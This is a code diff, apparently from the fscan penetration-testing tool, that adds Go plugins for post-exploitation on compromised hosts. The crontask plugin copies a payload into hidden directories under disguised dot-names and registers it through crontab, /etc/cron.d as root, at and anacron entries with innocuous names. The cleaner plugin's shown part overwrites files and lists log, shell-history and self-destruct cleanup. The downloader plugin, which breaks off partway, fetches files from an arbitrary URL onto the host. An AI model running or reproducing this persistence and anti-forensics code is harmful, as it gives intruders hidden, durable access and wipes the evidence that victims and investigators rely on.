|
||||
}
|
||||
|
||||
// overwriteFile 覆盖文件内容
|
||||
func (p *CleanerPlugin) overwriteFile(filepath string) error {
|
||||
info, err := os.Stat(filepath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
file, err := os.OpenFile(filepath, os.O_WRONLY, 0)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
// 用随机数据覆盖
|
||||
size := info.Size()
|
||||
buffer := make([]byte, 4096)
|
||||
for i := range buffer {
|
||||
buffer[i] = byte(time.Now().UnixNano() % 256)
|
||||
}
|
||||
|
||||
for size > 0 {
|
||||
writeSize := int64(len(buffer))
|
||||
if size < writeSize {
|
||||
writeSize = size
|
||||
}
|
||||
|
||||
if _, err := file.Write(buffer[:writeSize]); err != nil {
|
||||
return err
|
||||
}
|
||||
size -= writeSize
|
||||
}
|
||||
|
||||
return file.Sync()
|
||||
}
|
||||
|
||||
// prepareSelfDestruction 准备自毁 - 平台特定实现在各自的文件中
|
||||
|
||||
// GetLocalData 获取清理器本地数据
|
||||
func (p *CleanerPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
|
||||
data["plugin_type"] = "cleaner"
|
||||
data["platform"] = runtime.GOOS
|
||||
data["current_executable"] = p.currentExecutable
|
||||
data["working_directory"] = p.workingDirectory
|
||||
data["cleanup_targets"] = len(p.targetFiles)
|
||||
|
||||
if hostname, err := os.Hostname(); err == nil {
|
||||
data["hostname"] = hostname
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取数据
|
||||
func (p *CleanerPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: fmt.Sprintf("系统痕迹清理完成,清理了 %d 个项目", p.cleanupStats["files"]+p.cleanupStats["directories"]+p.cleanupStats["system_entries"]),
|
||||
Data: data,
|
||||
Extra: map[string]interface{}{
|
||||
"platform": runtime.GOOS,
|
||||
"cleanup_stats": p.cleanupStats,
|
||||
"status": "completed",
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *CleanerPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("跨平台系统痕迹清理插件\n")
|
||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||
info.WriteString("功能:\n")
|
||||
info.WriteString(" - 清理fscan相关输出文件\n")
|
||||
info.WriteString(" - 清理系统日志痕迹\n")
|
||||
info.WriteString(" - 清理网络连接痕迹\n")
|
||||
info.WriteString(" - 清理Shell历史记录\n")
|
||||
info.WriteString(" - 安全删除敏感文件\n")
|
||||
info.WriteString(" - 自毁功能\n")
|
||||
info.WriteString("注意: 根据当前用户权限执行清理操作\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// RegisterCleanerPlugin 注册系统痕迹清理插件
|
||||
func RegisterCleanerPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "cleaner",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "跨平台系统痕迹清理插件,清理扫描过程中产生的文件和系统痕迹",
|
||||
Category: "local",
|
||||
Tags: []string{"cleaner", "local", "forensics", "cross-platform"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewCleanerPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("cleaner", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterCleanerPlugin()
|
||||
}
|
422
Plugins/local/crontask/plugin.go
Normal file
422
Plugins/local/crontask/plugin.go
Normal file
@ -0,0 +1,422 @@
|
||||
package crontask
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// CronTaskPlugin 计划任务持久化插件 - 使用简化架构
|
||||
type CronTaskPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
targetFile string
|
||||
}
|
||||
|
||||
// NewCronTaskPlugin 创建计划任务持久化插件 - 简化版本
|
||||
func NewCronTaskPlugin() *CronTaskPlugin {
|
||||
// 从全局参数获取目标文件路径
|
||||
targetFile := common.PersistenceTargetFile
|
||||
if targetFile == "" {
|
||||
targetFile = "" // 需要用户指定
|
||||
}
|
||||
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "crontask",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Linux 计划任务持久化插件,通过crontab定时任务实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "persistence", "linux", "cron", "schedule"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &CronTaskPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
targetFile: targetFile,
|
||||
}
|
||||
|
||||
// 只支持Linux平台
|
||||
plugin.SetPlatformSupport([]string{"linux"})
|
||||
// 需要crontab权限
|
||||
plugin.SetRequiresPrivileges(false)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *CronTaskPlugin) Initialize() error {
|
||||
if p.targetFile == "" {
|
||||
return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
|
||||
return fmt.Errorf("目标文件不存在: %s", p.targetFile)
|
||||
}
|
||||
|
||||
// 检查crontab是否可用
|
||||
if _, err := exec.LookPath("crontab"); err != nil {
|
||||
return fmt.Errorf("crontab命令不可用: %v", err)
|
||||
}
|
||||
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行计划任务持久化 - 简化版本
|
||||
func (p *CronTaskPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
if runtime.GOOS != "linux" {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("计划任务持久化只支持Linux平台"),
|
||||
}, nil
|
||||
}
|
||||
|
||||
common.LogBase("开始计划任务持久化...")
|
||||
common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
|
||||
|
||||
// 执行持久化操作
|
||||
results := make([]string, 0)
|
||||
|
||||
// 1. 复制文件到持久化目录
|
||||
persistPath, err := p.copyToPersistPath()
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("复制文件失败: %v", err))
|
||||
} else {
|
||||
results = append(results, fmt.Sprintf("文件已复制到: %s", persistPath))
|
||||
common.LogSuccess(fmt.Sprintf("文件已复制到: %s", persistPath))
|
||||
}
|
||||
|
||||
// 2. 添加用户crontab任务
|
||||
err = p.addUserCronJob(persistPath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("添加用户cron任务失败: %v", err))
|
||||
} else {
|
||||
results = append(results, "已添加用户crontab任务")
|
||||
common.LogSuccess("已添加用户crontab任务")
|
||||
}
|
||||
|
||||
// 3. 添加系统cron任务
|
||||
systemCronFiles, err := p.addSystemCronJobs(persistPath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("添加系统cron任务失败: %v", err))
|
||||
} else {
|
||||
results = append(results, fmt.Sprintf("已添加系统cron任务: %s", strings.Join(systemCronFiles, ", ")))
|
||||
common.LogSuccess("已添加系统cron任务")
|
||||
}
|
||||
|
||||
// 4. 创建at任务(一次性任务)
|
||||
err = p.addAtJob(persistPath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("添加at任务失败: %v", err))
|
||||
} else {
|
||||
results = append(results, "已添加at延时任务")
|
||||
common.LogSuccess("已添加at延时任务")
|
||||
}
|
||||
|
||||
// 5. 创建anacron任务
|
||||
err = p.addAnacronJob(persistPath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("添加anacron任务失败: %v", err))
|
||||
} else {
|
||||
results = append(results, "已添加anacron任务")
|
||||
common.LogSuccess("已添加anacron任务")
|
||||
}
|
||||
|
||||
success := len(results) > 0
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: success,
|
||||
Service: "CronTaskPersistence",
|
||||
Banner: fmt.Sprintf("计划任务持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
|
||||
Extra: map[string]interface{}{
|
||||
"target_file": p.targetFile,
|
||||
"platform": runtime.GOOS,
|
||||
"methods": results,
|
||||
"status": "completed",
|
||||
},
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// copyToPersistPath 复制文件到持久化目录
|
||||
func (p *CronTaskPlugin) copyToPersistPath() (string, error) {
|
||||
// 选择持久化目录
|
||||
persistDirs := []string{
|
||||
"/tmp/.system",
|
||||
"/var/tmp/.cache",
|
||||
"/opt/.local",
|
||||
}
|
||||
|
||||
// 获取用户目录
|
||||
if usr, err := user.Current(); err == nil {
|
||||
userDirs := []string{
|
||||
filepath.Join(usr.HomeDir, ".local", "bin"),
|
||||
filepath.Join(usr.HomeDir, ".cache"),
|
||||
}
|
||||
persistDirs = append(userDirs, persistDirs...)
|
||||
}
|
||||
|
||||
var targetDir string
|
||||
for _, dir := range persistDirs {
|
||||
if err := os.MkdirAll(dir, 0755); err == nil {
|
||||
targetDir = dir
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if targetDir == "" {
|
||||
return "", fmt.Errorf("无法创建持久化目录")
|
||||
}
|
||||
|
||||
// 生成隐藏文件名
|
||||
basename := filepath.Base(p.targetFile)
|
||||
hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename))
|
||||
if p.isScriptFile() {
|
||||
hiddenName += ".sh"
|
||||
}
|
||||
|
||||
targetPath := filepath.Join(targetDir, hiddenName)
|
||||
|
||||
// 复制文件
|
||||
err := p.copyFile(p.targetFile, targetPath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// 设置执行权限
|
||||
os.Chmod(targetPath, 0755)
|
||||
|
||||
return targetPath, nil
|
||||
}
|
||||
|
||||
// copyFile 复制文件内容
|
||||
func (p *CronTaskPlugin) copyFile(src, dst string) error {
|
||||
sourceData, err := os.ReadFile(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(dst, sourceData, 0755)
|
||||
}
|
||||
|
||||
// addUserCronJob 添加用户crontab任务
|
||||
func (p *CronTaskPlugin) addUserCronJob(execPath string) error {
|
||||
// 获取现有crontab
|
||||
cmd := exec.Command("crontab", "-l")
|
||||
currentCrontab, _ := cmd.Output()
|
||||
|
||||
// 生成新的cron任务
|
||||
cronJobs := p.generateCronJobs(execPath)
|
||||
newCrontab := string(currentCrontab)
|
||||
|
||||
for _, job := range cronJobs {
|
||||
if !strings.Contains(newCrontab, execPath) {
|
||||
if newCrontab != "" && !strings.HasSuffix(newCrontab, "\n") {
|
||||
newCrontab += "\n"
|
||||
}
|
||||
newCrontab += job + "\n"
|
||||
}
|
||||
}
|
||||
|
||||
// 应用新的crontab
|
||||
cmd = exec.Command("crontab", "-")
|
||||
cmd.Stdin = strings.NewReader(newCrontab)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
// addSystemCronJobs 添加系统cron任务
|
||||
func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) {
|
||||
cronDirs := []string{
|
||||
"/etc/cron.d",
|
||||
"/etc/cron.hourly",
|
||||
"/etc/cron.daily",
|
||||
"/etc/cron.weekly",
|
||||
"/etc/cron.monthly",
|
||||
}
|
||||
|
||||
var modified []string
|
||||
|
||||
// 在cron.d中创建配置文件
|
||||
cronFile := filepath.Join("/etc/cron.d", "system-update")
|
||||
cronContent := fmt.Sprintf("*/5 * * * * root %s >/dev/null 2>&1\n", execPath)
|
||||
if err := os.WriteFile(cronFile, []byte(cronContent), 0644); err == nil {
|
||||
modified = append(modified, cronFile)
|
||||
}
|
||||
|
||||
// 在每个cron目录中创建脚本
|
||||
for _, cronDir := range cronDirs[1:] { // 跳过cron.d
|
||||
if _, err := os.Stat(cronDir); os.IsNotExist(err) {
|
||||
continue
|
||||
}
|
||||
|
||||
scriptFile := filepath.Join(cronDir, ".system-check")
|
||||
scriptContent := fmt.Sprintf("#!/bin/bash\n%s >/dev/null 2>&1 &\n", execPath)
|
||||
|
||||
if err := os.WriteFile(scriptFile, []byte(scriptContent), 0755); err == nil {
|
||||
modified = append(modified, scriptFile)
|
||||
}
|
||||
}
|
||||
|
||||
if len(modified) == 0 {
|
||||
return nil, fmt.Errorf("无法创建任何系统cron任务")
|
||||
}
|
||||
|
||||
return modified, nil
|
||||
}
|
||||
|
||||
// addAtJob 添加at延时任务
|
||||
func (p *CronTaskPlugin) addAtJob(execPath string) error {
|
||||
// 检查at命令是否可用
|
||||
if _, err := exec.LookPath("at"); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 创建5分钟后执行的任务
|
||||
atCommand := fmt.Sprintf("echo '%s >/dev/null 2>&1' | at now + 5 minutes", execPath)
|
||||
cmd := exec.Command("sh", "-c", atCommand)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
// addAnacronJob 添加anacron任务
|
||||
func (p *CronTaskPlugin) addAnacronJob(execPath string) error {
|
||||
anacronFile := "/etc/anacrontab"
|
||||
|
||||
// 检查anacrontab是否存在
|
||||
if _, err := os.Stat(anacronFile); os.IsNotExist(err) {
|
||||
return err
|
||||
}
|
||||
|
||||
// 读取现有内容
|
||||
content := ""
|
||||
if data, err := os.ReadFile(anacronFile); err == nil {
|
||||
content = string(data)
|
||||
}
|
||||
|
||||
// 检查是否已存在
|
||||
if strings.Contains(content, execPath) {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 添加新任务
|
||||
anacronLine := fmt.Sprintf("1\t5\tsystem.update\t%s >/dev/null 2>&1", execPath)
|
||||
if !strings.HasSuffix(content, "\n") && content != "" {
|
||||
content += "\n"
|
||||
}
|
||||
content += anacronLine + "\n"
|
||||
|
||||
return os.WriteFile(anacronFile, []byte(content), 0644)
|
||||
}
|
||||
|
||||
// generateCronJobs 生成多种cron任务
|
||||
func (p *CronTaskPlugin) generateCronJobs(execPath string) []string {
|
||||
baseCmd := execPath
|
||||
if p.isScriptFile() {
|
||||
baseCmd = fmt.Sprintf("bash %s", execPath)
|
||||
}
|
||||
baseCmd += " >/dev/null 2>&1"
|
||||
|
||||
return []string{
|
||||
// 每5分钟执行一次
|
||||
fmt.Sprintf("*/5 * * * * %s", baseCmd),
|
||||
// 每小时执行一次
|
||||
fmt.Sprintf("0 * * * * %s", baseCmd),
|
||||
// 每天执行一次
|
||||
fmt.Sprintf("0 0 * * * %s", baseCmd),
|
||||
// 启动时执行
|
||||
fmt.Sprintf("@reboot %s", baseCmd),
|
||||
}
|
||||
}
|
||||
|
||||
// isScriptFile 检查是否为脚本文件
|
||||
func (p *CronTaskPlugin) isScriptFile() bool {
|
||||
ext := strings.ToLower(filepath.Ext(p.targetFile))
|
||||
return ext == ".sh" || ext == ".bash" || ext == ".zsh"
|
||||
}
|
||||
|
||||
// GetLocalData 获取计划任务持久化本地数据
|
||||
func (p *CronTaskPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
|
||||
data["plugin_type"] = "crontask"
|
||||
data["platform"] = runtime.GOOS
|
||||
data["target_file"] = p.targetFile
|
||||
data["persistence_method"] = "Cron Task"
|
||||
|
||||
if hostname, err := os.Hostname(); err == nil {
|
||||
data["hostname"] = hostname
|
||||
}
|
||||
|
||||
// 获取当前时间
|
||||
data["schedule_time"] = time.Now().Format("2006-01-02 15:04:05")
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取数据
|
||||
func (p *CronTaskPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: fmt.Sprintf("计划任务持久化完成,目标文件: %s", p.targetFile),
|
||||
Data: data,
|
||||
Extra: map[string]interface{}{
|
||||
"target_file": p.targetFile,
|
||||
"persistence_method": "Cron Task",
|
||||
"status": "completed",
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *CronTaskPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("计划任务持久化插件\n")
|
||||
info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
|
||||
info.WriteString("支持平台: Linux\n")
|
||||
info.WriteString("功能: 通过cron定时任务实现持久化\n")
|
||||
info.WriteString("方法: crontab、系统cron、at任务、anacron\n")
|
||||
info.WriteString("频率: 每5分钟、每小时、每天、启动时\n")
|
||||
info.WriteString("支持文件: 可执行文件和shell脚本\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// RegisterCronTaskPlugin 注册计划任务持久化插件
|
||||
func RegisterCronTaskPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "crontask",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Linux 计划任务持久化插件,通过crontab定时任务实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"crontask", "local", "persistence", "linux"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewCronTaskPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("crontask", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterCronTaskPlugin()
|
||||
}
|
1021
Plugins/local/dcinfo/plugin.go
Normal file
1021
Plugins/local/dcinfo/plugin.go
Normal file
File diff suppressed because it is too large
Load Diff
338
Plugins/local/downloader/plugin.go
Normal file
338
Plugins/local/downloader/plugin.go
Normal file
@ -0,0 +1,338 @@
|
||||
package downloader
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// DownloaderPlugin 文件下载插件 - 跨平台支持
|
||||
type DownloaderPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
|
||||
// 配置选项
|
||||
downloadURL string
|
||||
savePath string
|
||||
downloadTimeout time.Duration
|
||||
maxFileSize int64
|
||||
}
|
||||
|
||||
// NewDownloaderPlugin 创建文件下载插件
|
||||
func NewDownloaderPlugin() *DownloaderPlugin {
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "downloader",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "跨平台文件下载插件,支持从指定URL下载文件并保存到本地",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "downloader", "file", "cross-platform"},
|
||||
Protocols: []string{"http", "https"},
|
||||
}
|
||||
|
||||
plugin := &DownloaderPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
downloadTimeout: 30 * time.Second, // 默认30秒超时
|
||||
maxFileSize: 100 * 1024 * 1024, // 默认最大100MB
|
||||
}
|
||||
|
||||
// 支持所有主要平台
|
||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||
// 需要文件写入权限
|
||||
plugin.SetRequiresPrivileges(false)
|
||||
|
||||
// 从全局参数获取配置
|
||||
plugin.downloadURL = common.DownloadURL
|
||||
plugin.savePath = common.DownloadSavePath
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *DownloaderPlugin) Initialize() error {
|
||||
common.LogInfo(fmt.Sprintf("初始化文件下载插件 - 平台: %s", runtime.GOOS))
|
||||
|
||||
// 验证必要参数
|
||||
if err := p.validateParameters(); err != nil {
|
||||
return fmt.Errorf("参数验证失败: %v", err)
|
||||
}
|
||||
|
||||
// 检查保存路径权限
|
||||
if err := p.checkSavePathPermissions(); err != nil {
|
||||
return fmt.Errorf("保存路径权限检查失败: %v", err)
|
||||
}
|
||||
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *DownloaderPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行文件下载任务
|
||||
func (p *DownloaderPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogInfo(fmt.Sprintf("开始下载文件: %s", p.downloadURL))
|
||||
|
||||
// 执行下载
|
||||
downloadInfo, err := p.downloadFile(ctx)
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
}, nil
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "FileDownloader",
|
||||
Banner: fmt.Sprintf("文件下载成功: %s -> %s", p.downloadURL, downloadInfo["save_path"]),
|
||||
Extra: map[string]interface{}{
|
||||
"download_url": p.downloadURL,
|
||||
"save_path": downloadInfo["save_path"],
|
||||
"file_size": downloadInfo["file_size"],
|
||||
"content_type": downloadInfo["content_type"],
|
||||
"platform": runtime.GOOS,
|
||||
"download_time": downloadInfo["download_time"],
|
||||
},
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("文件下载完成: %s (大小: %v bytes)",
|
||||
downloadInfo["save_path"], downloadInfo["file_size"]))
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// validateParameters 验证输入参数
|
||||
func (p *DownloaderPlugin) validateParameters() error {
|
||||
if p.downloadURL == "" {
|
||||
return fmt.Errorf("下载URL不能为空,请使用 -download-url 参数指定")
|
||||
}
|
||||
|
||||
// 验证URL格式
|
||||
if !strings.HasPrefix(strings.ToLower(p.downloadURL), "http://") &&
|
||||
!strings.HasPrefix(strings.ToLower(p.downloadURL), "https://") {
|
||||
return fmt.Errorf("无效的URL格式,必须以 http:// 或 https:// 开头")
|
||||
}
|
||||
|
||||
// 如果没有指定保存路径,使用URL中的文件名
|
||||
if p.savePath == "" {
|
||||
filename := p.extractFilenameFromURL(p.downloadURL)
|
||||
if filename == "" {
|
||||
filename = "downloaded_file"
|
||||
}
|
||||
p.savePath = filename
|
||||
common.LogInfo(fmt.Sprintf("未指定保存路径,使用默认文件名: %s", p.savePath))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// extractFilenameFromURL 从URL中提取文件名
|
||||
func (p *DownloaderPlugin) extractFilenameFromURL(url string) string {
|
||||
// 移除查询参数
|
||||
if idx := strings.Index(url, "?"); idx != -1 {
|
||||
url = url[:idx]
|
||||
}
|
||||
|
||||
// 获取路径的最后一部分
|
||||
parts := strings.Split(url, "/")
|
||||
if len(parts) > 0 {
|
||||
filename := parts[len(parts)-1]
|
||||
if filename != "" && !strings.Contains(filename, "=") {
|
||||
return filename
|
||||
}
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// checkSavePathPermissions 检查保存路径权限
|
||||
func (p *DownloaderPlugin) checkSavePathPermissions() error {
|
||||
// 获取保存目录
|
||||
saveDir := filepath.Dir(p.savePath)
|
||||
if saveDir == "." || saveDir == "" {
|
||||
// 使用当前目录
|
||||
var err error
|
||||
saveDir, err = os.Getwd()
|
||||
if err != nil {
|
||||
return fmt.Errorf("获取当前目录失败: %v", err)
|
||||
}
|
||||
p.savePath = filepath.Join(saveDir, filepath.Base(p.savePath))
|
||||
}
|
||||
|
||||
// 确保目录存在
|
||||
if err := os.MkdirAll(saveDir, 0755); err != nil {
|
||||
return fmt.Errorf("创建保存目录失败: %v", err)
|
||||
}
|
||||
|
||||
// 检查写入权限
|
||||
testFile := filepath.Join(saveDir, ".fscan_write_test")
|
||||
if file, err := os.Create(testFile); err != nil {
|
||||
return fmt.Errorf("保存目录无写入权限: %v", err)
|
||||
} else {
|
||||
file.Close()
|
||||
os.Remove(testFile)
|
||||
}
|
||||
|
||||
common.LogInfo(fmt.Sprintf("文件将保存至: %s", p.savePath))
|
||||
return nil
|
||||
}
|
||||
|
||||
// downloadFile 执行文件下载
|
||||
func (p *DownloaderPlugin) downloadFile(ctx context.Context) (map[string]interface{}, error) {
|
||||
startTime := time.Now()
|
||||
|
||||
// 创建带超时的HTTP客户端
|
||||
client := &http.Client{
|
||||
Timeout: p.downloadTimeout,
|
||||
}
|
||||
|
||||
// 创建请求
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", p.downloadURL, nil)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("创建HTTP请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 设置User-Agent
|
||||
req.Header.Set("User-Agent", "fscan-downloader/1.0")
|
||||
|
||||
common.LogInfo("正在连接到服务器...")
|
||||
|
||||
// 发送请求
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("HTTP请求失败: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// 检查HTTP状态码
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, fmt.Errorf("HTTP请求失败,状态码: %d %s", resp.StatusCode, resp.Status)
|
||||
}
|
||||
|
||||
// 检查文件大小
|
||||
contentLength := resp.ContentLength
|
||||
if contentLength > p.maxFileSize {
|
||||
return nil, fmt.Errorf("文件过大 (%d bytes),超过最大限制 (%d bytes)",
|
||||
contentLength, p.maxFileSize)
|
||||
}
|
||||
|
||||
common.LogInfo(fmt.Sprintf("开始下载,文件大小: %d bytes", contentLength))
|
||||
|
||||
// 创建保存文件
|
||||
outFile, err := os.Create(p.savePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("创建保存文件失败: %v", err)
|
||||
}
|
||||
defer outFile.Close()
|
||||
|
||||
// 使用带限制的Reader防止过大文件
|
||||
limitedReader := io.LimitReader(resp.Body, p.maxFileSize)
|
||||
|
||||
// 复制数据
|
||||
written, err := io.Copy(outFile, limitedReader)
|
||||
if err != nil {
|
||||
// 清理部分下载的文件
|
||||
os.Remove(p.savePath)
|
||||
return nil, fmt.Errorf("文件下载失败: %v", err)
|
||||
}
|
||||
|
||||
downloadTime := time.Since(startTime)
|
||||
|
||||
// 返回下载信息
|
||||
downloadInfo := map[string]interface{}{
|
||||
"save_path": p.savePath,
|
||||
"file_size": written,
|
||||
"content_type": resp.Header.Get("Content-Type"),
|
||||
"download_time": downloadTime,
|
||||
}
|
||||
|
||||
return downloadInfo, nil
|
||||
}
|
||||
|
||||
// GetLocalData 获取下载器本地数据
|
||||
func (p *DownloaderPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
|
||||
data["plugin_type"] = "downloader"
|
||||
data["platform"] = runtime.GOOS
|
||||
data["download_url"] = p.downloadURL
|
||||
data["save_path"] = p.savePath
|
||||
data["timeout"] = p.downloadTimeout.String()
|
||||
data["max_file_size"] = p.maxFileSize
|
||||
|
||||
if hostname, err := os.Hostname(); err == nil {
|
||||
data["hostname"] = hostname
|
||||
}
|
||||
|
||||
if workDir, err := os.Getwd(); err == nil {
|
||||
data["work_dir"] = workDir
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取数据
|
||||
func (p *DownloaderPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: fmt.Sprintf("文件下载完成: %s -> %s", p.downloadURL, p.savePath),
|
||||
Data: data,
|
||||
Extra: map[string]interface{}{
|
||||
"download_url": p.downloadURL,
|
||||
"save_path": p.savePath,
|
||||
"platform": runtime.GOOS,
|
||||
"status": "completed",
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *DownloaderPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("跨平台文件下载插件\n")
|
||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||
info.WriteString(fmt.Sprintf("支持协议: %s\n", strings.Join(p.GetMetadata().Protocols, ", ")))
|
||||
info.WriteString("功能: 从HTTP/HTTPS URL下载文件到本地\n")
|
||||
info.WriteString("参数:\n")
|
||||
info.WriteString(" -download-url: 要下载的文件URL\n")
|
||||
info.WriteString(" -download-path: 保存路径 (可选,默认使用URL中的文件名)\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// RegisterDownloaderPlugin 注册文件下载插件
|
||||
